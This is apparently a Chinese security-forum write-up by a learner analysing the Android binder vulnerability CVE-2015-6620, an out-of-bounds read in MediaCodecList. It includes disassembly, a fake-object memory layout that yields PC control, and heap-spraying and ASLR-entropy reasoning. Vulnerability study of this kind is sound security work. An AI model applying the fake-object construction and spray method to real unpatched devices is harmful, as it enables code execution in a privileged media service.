cve-2015-6620学习总结

前言

想学习下 Android漏洞方面的知识,搜了下发现Flanker Edward在知乎上有个回答,提到了binder的经典漏洞cve-2015-6620,所以就从这个漏洞开始学习。作者提供了poc以及文档,这篇笔记主要记录下学习中遇到的问题,以及自己的一些理解。

环境搭建与基础知识

第一次调试android漏洞,搭建环境花了些力气,主要有如下环境,推荐安装pead-arm和shadow这两个gdb插件。

android源码环境:Ubuntu16.04 android_6.0.0_r1

gdb调试环境搭建

peda-arm 安装,调试界面更加方便

shadow 安装,方便调试jemalloc

这是android平台上的binder方面的漏洞,所以涉及一些android底层的知识需要学习下。

binder

智能指针

漏洞成因

cve-2015-6620包含两个漏洞,编号分别为 24123723 和 24445127。主要分析的是 24445127 MediaCodecInfo 越界访问,因为这个漏洞可以利用的点更多些。漏洞存在于MediaCodcList服务。该Binder服务提供了一个getCodecInfo 的功能,存在漏洞的代码如下:

//http://androidxref.com/6.0.0_r1/xref/frameworks/av/media/libmedia/IMediaCodecList.cpp#54status_t BnMediaCodecList::onTransact(

  uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags)

{

  switch (code) {

      case GET_CODEC_INFO:

      {

          CHECK_INTERFACE(IMediaCodecList, data, reply);

          size_t index = static_cast(data.readInt32());

          const sp info = getCodecInfo(index); //调用服务端的实现          if (info != NULL) {

              reply->writeInt32(OK);

              info->writeToParcel(reply);

          } else {

              reply->writeInt32(-ERANGE);

          }

          return NO_ERROR;

      }

      break;

从Parce中读取从客户端传来的索引index,然后调用在服务端的实现的getCodecInfo。看下在 MediaCodecList 中实现的getCodecInfo。

// http://androidxref.com/6.0.0_r1/xref/frameworks/av/include/media/stagefright/MediaCodecList.h#49struct MediaCodecList : public BnMediaCodecList {

  Vector > mCodecInfos;

    virtual sp getCodecInfo(size_t index) const {

      return mCodecInfos.itemAt(index);  // 未进行任何边界检查  }

}

可以看到直接调用了vector的itemAt函数,并未进行任何边界检查。而index是我们作为客户端程序可以控制的,这个地方就存在一个越界访问的漏洞。

漏洞利用

根据漏洞的成因,我们现在有这样一个能力:可以越界访问 Binder 服务所在进程中的一个vector>,但是只能读取不能写入。漏洞的作者利用这样一种能力可以实现任意地址读取和pc寄存器的控制,很是神奇。主要分析下pc控制的原理。在分析poc原理前,需要了解相关对象在内存的布局,如下图所示:

pc control poc原理分析

一个越界读可以造成pc的控制,关键在于getCodecInfo的调用:const sp\ info = getCodecInfo(index);

//sp 拷贝构造函数template

sp::sp(const sp& other)

: m_ptr(other.m_ptr)

{

  if (m_ptr) m_ptr->incStrong(this);

}

上面的代码是用getCodecInfo函数的返回新建了一个info对象,这就会调用info的拷贝构造函数。info的类型为sp,sp的拷贝构造函数如上所示。可以看看getCodecInfo的汇编版本,像这样返回对象的函数,一般会把R0指向返回对象保存的地址。

//libstagefright.so.text:000A9478 ; android::sp __usercall android::MediaCodecList::getCodecInfo@(const android::MediaCodecList *this@, size_t index@)

.text:000A9478 return_obj = R0                        ;保存的就是上面info的地址

.text:000A9478 this = R1                              ; const android::MediaCodecList *

.text:000A9478 index = R2                              ; size_t

.text:000A9478                PUSH.W          {R11,LR}

.text:000A947C                MOV            R3, R0

.text:000A947E                LDR            R0, [this,#0x5C]

.text:000A9480                LDR.W          R0, [R0,index,LSL#2] ; 这里可以越界读取

.text:000A9484                STR            R0, [R3]; 设置info.m_prt

.text:000A9486                CMP            R0, #0

.text:000A9488                ITT NE

.text:000A948A                MOVNE          this, R3 ; 调用info的拷贝构造函数,因为inline优化直接调用了(info.m_ptr)->incStrong()

.text:000A948C                BLXNE          _ZNK7android7RefBase9incStrongEPKv ; android::RefBase::incStrong(void const*)

.text:000A9490                POP.W          {R11,PC}

.text:000A9490 ; End of function android::MediaCodecList::getCodecInfo(uint)

可以看到会将vector的内容读取到R0中,如果R0不为零,会调用incStrong, 代码如下:

//http://androidxref.com/6.0.0_r1/xref/system/core/libutils/RefBase.cpp#322void RefBase::incStrong(const void* id) const

{

  weakref_impl* const refs = mRefs;

  refs->incWeak(id);

  refs->addStrongRef(id);

  const int32_t c = android_atomic_inc(&refs->mStrong);

  ALOG_ASSERT(c > 0, "incStrong() called on %p after last strong ref", refs);#if PRINT_REFS  ALOGD("incStrong of %p from %p: cnt=%d\n", this, id, c);#endif  if (c != INITIAL_STRONG_VALUE)  {

      return;

  }

  android_atomic_add(-INITIAL_STRONG_VALUE, &refs->mStrong);

  refs->mBase->onFirstRef(); //这里有虚函数的调用}

汇编代码版本,可以清楚看到存在虚函数的调用:

// libutils.so.text:0000E6BE ; void __fastcall android::RefBase::incStrong(const android::RefBase *const this, const void *id)

.text:0000E6BE                EXPORT _ZNK7android7RefBase9incStrongEPKv   

.text:0000E6BE                                       

.text:0000E6BE this = R0                                        ; const android::RefBase *const

.text:0000E6BE id = R1                                          ; const void *

.text:0000E6BE                PUSH            {R4,LR}

.text:0000E6C0                LDR            R4, [this,#4]    ;this存放的就是越界读取的内容

.text:0000E6C2 refs = R4                              ; android::RefBase::weakref_impl *const

.text:0000E6C2                MOV            this, refs ; this

.text:0000E6C4                BLX            j__ZN7android7RefBase12weakref_type7incWeakEPKv ;

.text:0000E6C8                DMB.W          SY

.text:0000E6CC                LDREX.W        R3, [refs]

.text:0000E6D0                ADDS            R2, R3, #1

.text:0000E6D2                STREX.W        R1, R2, [refs]

.text:0000E6D6                CMP            R1, #0

.text:0000E6D8                BNE            loc_E6CC

.text:0000E6DA                CMP.W          R3, #0x10000000

.text:0000E6DE                BNE            locret_E700

.text:0000E6E0                DMB.W          SY

.text:0000E6E4                LDREX.W        R0, [refs]

.text:0000E6E8                ADD.W          R12, R0, #0xF0000000

.text:0000E6EC                STREX.W        R3, R12, [refs]

.text:0000E6F0                CMP            R3, #0

.text:0000E6F2                BNE            loc_E6E4

.text:0000E6F4                LDR            R0, [refs,#8]

.text:0000E6F6                LDR            refs, [R0]  ; vtable

.text:0000E6F8                LDR            R2, [R4,#8] ; 可以通过这里控制pc

.text:0000E6FA                POP.W          {R4,LR}

.text:0000E6FE                BX              R2

梳理一下就是,越界读取的内容放入R0,然后进行如下操作:

refs = [R0 + 4]

if ([refs] == 0x10000000)

  mbase = [refs + 8]

  vtable = [mbase]

  call [vtable + 8]

也就是说如果我们在内存中伪造了合适的 MeidaCodecInfo,并且将指向该伪造的MediaCodecInfo 的指针放入 vector> 存储区的后面,这样我们就可以通过越界访问,读取到指向该伪造的MediaCodecInfo 的指针,进而控制pc。我们可以在内存中伪造如下的 MediaCodecInfo:

//BASEADDR 为假MediaCodecInfo的起始地址*(BASEADDR) = vtale; //设置MediaCodecInfo vtable 随便填写*((unsigned int *)BASEADDR + 1) = BASEADDR + 12;    //mRefs, 使他指向BASEADDR + 12*((unsigned int *)BASEADDR + 3) = 0x10000000;        //mRefs指向此处,即虚假的info->mRefs的起始地址*((unsigned int *)BASEADDR + 5) = BASEADDR + 0x20;  //info->mRefs->mBase字段,使他指向BASEADDR + 0x20*((unsigned int*)BASEADDR + 8) = BASEADDR + 0x20 + 4;  //mBase的vtable字段,使他指向BASEADDR + 0x20 + 4*((unsigned int*)BASEADDR + 11) = 0x61616161;          //vtable + 8, 我们可以在此处放置目标pc

最终poc运行成功,mediaserver 运行到我们指定的位置:0x61616161

堆喷射的问题

要成功的运行poc实现漏洞利用的目的,要进行两次堆喷射,第一次是将我们伪造的MediaCodecInfo喷射到内存中,第二次是将我们伪造的MediaCodecInfo的地址喷射到vector>的存储区的后面,这样可以通过越界读取,来触发漏洞。

但是遇到了如下问题:

1.作者的poc中,硬编码了一个地址 0xb3003010,就是在作者的测试机器上,作者喷射的伪造的 MediaCodecInfo 有很大概率会落在这个地址上。

作者说之所以是 0xb3003010 而不是 0xb3003000 是因为数据前面还有0x10字节的元数据,但是我们知道 jemalloc 中存放数据的region和run都不包含元数据,那么这个元数据是哪里来的?

先看下是如何堆喷射的,作者使用 IDrm.provideKeyResponse 进行堆喷射的,服务端在拿到response后,最终会调用 Session.provideKeyResponse 处理:

typedef android::KeyedVector,

      android::Vector > KeyMap;

status_t Session::provideKeyResponse(const Vector& response) {

  String8 responseString(

  reinterpret_cast(response.array()), response.size());

  KeyMap keys;

  Mutex::Autolock lock(mMapLock);

  JsonWebKey parser;

  if (parser.extractKeysFromJsonWebKeySet(responseString, &keys)) {

      for (size_t i = 0; i < keys.size(); ++i) {

          const KeyMap::key_type& keyId = keys.keyAt(i);

          const KeyMap::value_type& key = keys.valueAt(i);

          mKeyMap.add(keyId, key);          //在这里会将payload保存到堆      }

      return android::OK;

  } else {

      return android::ERROR_DRM_UNKNOWN;

  }

}

可以发现喷射的数据最终是保存在 android::Vector 中的,通过查看源码发现:android::Vector 的数据是保存在 SharedBuffer 中的。0x10字节保存的就是 SharedBuffer 的私有变量

int32_t        mRefs;

size_t        mSize;

uint32_t      mReserved[2];

2.第一次堆喷射需要将指向伪造的 MediaCodecInfo 的指针喷射到vector> 的存储区的后方,但是我在运行作者poc的时候,越界读取很少可以命中,所以就想如何可以提高命中率。

作者的方法是:vector的存储区肯定是jemalloc分配的,肯定是落在某个大小的region内,所以作者首先计算出这个大小,然后后面堆喷射时,喷射出大量相同大小的region,这样后面越界读取就有很大概率命中。所以关键是如下步骤:

计算 vector> 的存储区所在region大小

确保堆喷射时,分配的是相同大小的region

通过调试发现 vector> 的存储区所在region大小和作者中poc给的一致,但是在调试时发现喷射的payload并没有落在大小为160的region内,而是在0x100的region内。

原因就是payload在 mediaserver 中是保存在Vector中的,Vector在分配空间时会多分配一些,所以大小为160的payload,最终会放置在大小大于160的region中,通过调试,我把payload大小改为96就可以保证分配在160的region中。

修改后,运行poc后,内存布局如下图所示:

3.作者并未说明是如何找到 0xb3003010 这个地址的,存在这样一个地址的依据是什么呢?

查了一些关于android堆喷射的资料,都提到jemalloc相比之前的dlmalloc更脆弱些,具体表现在如下方面:

堆地址中的熵较少

很容易猜测到数据位置

保存数据的region中没有元数据

dlmalloc会检查元数据的合法性

上面的堆地址熵较小表现在:32位ARM系统上的ASLR算法的实现很简单,ASLR会将所有的模块随机向下移动几页,范围在0~255页,代码如下,mmap_rnd_bits可以通过/proc/sys/vm/mmap_rnd_bits 来改变。

// kernel/arch/arm/mm/mmap.cstatic unsigned long mmap_base(unsigned long rnd)

{

  unsigned long gap = rlimit(RLIMIT_STACK);

  if (gap < MIN_GAP)

      gap = MIN_GAP;

  else if (gap > MAX_GAP)

      gap = MAX_GAP;

  return PAGE_ALIGN(TASK_SIZE - gap - rnd);

}

void arch_pick_mmap_layout(struct mm_struct *mm)

{

  unsigned long random_factor = 0UL;

  if ((current->flags & PF_RANDOMIZE) &&

      !(current->personality & ADDR_NO_RANDOMIZE))

      //随机出向下移动几页      random_factor = (get_random_long() & ((1UL << mmap_rnd_bits) - 1)) << PAGE_SHIFT;

  if (mmap_is_legacy()) {

      mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;

      mm->get_unmapped_area = arch_get_unmapped_area;

  } else {

      mm->mmap_base = mmap_base(random_factor);

      mm->get_unmapped_area = arch_get_unmapped_area_topdown;

  }

}

可以看到随机移动的范围不大,而进程的各个模块在大范围的是相对固定的,比如在我的机器上,堆分配的空间基本落在 0xaf000000 - 0xb6000000 之间,当分配的内存远大于255页时,就基本可以找到一个稳定的地址来放置payload,可以粗略计算下:

作者构造的payload在binder服务端,最终是保存在Vector中的,Vector会多分配一些空间。在我的机器上最终分配的空间大小为6144字节,放在大小为0x1800的region内,都是放在大小为0x3000的run内,每个run可以放置两个这样的region,并且run是页对齐的。

也就是说分配两次payload就占用了3页大小空间,作者的poc一共分配了0x1200次,理论讲会一共分配了6912页,当然实际中会存在回收后再利用的情况,在我的机器上实际上分配了3000多页,这是远远大于随机移动的0~255页。所以可以找到这样一个相对稳定的地址。

总结

作者并没有给出explicit,但是提到可以用 CVE-2015-1528 exp 的思路,后续会继续学习下这个思路,有成果了就补上。小弟刚开始学习漏洞这块,有错误恳请大佬们指正。

学习资料

漏洞作者给的文档以及poc:

https://github.com/flankerhqd/mediacodecoob

adb+gdb :

https://wladimir-tm4pda.github.io/porting/debugging_gdb.html

binder学习:

https://blog.csdn.net/universus/article/details/6211589

jemalloc:

https://blog.csdn.net/koozxcv/article/details/50973217

shadow jemalloc 调试: https://blog.csdn.net/hl09083253cy/article/details/79147625

shadow 安装:

https://github.com/CENSUS/shadow

heap fengshui:

https://bbs.pediy.com/thread-55879.htm

ASLR:

http://drops.xmd5.com/static/drops/papers-14181.html

原文链接:[原创]cve-2015-6620学习总结-『Android安全』-看雪安全论坛

本文由看雪论坛 glider菜鸟 原创

转载请注明来自看雪社区

你可能感兴趣的:(cve-2015-6620学习总结)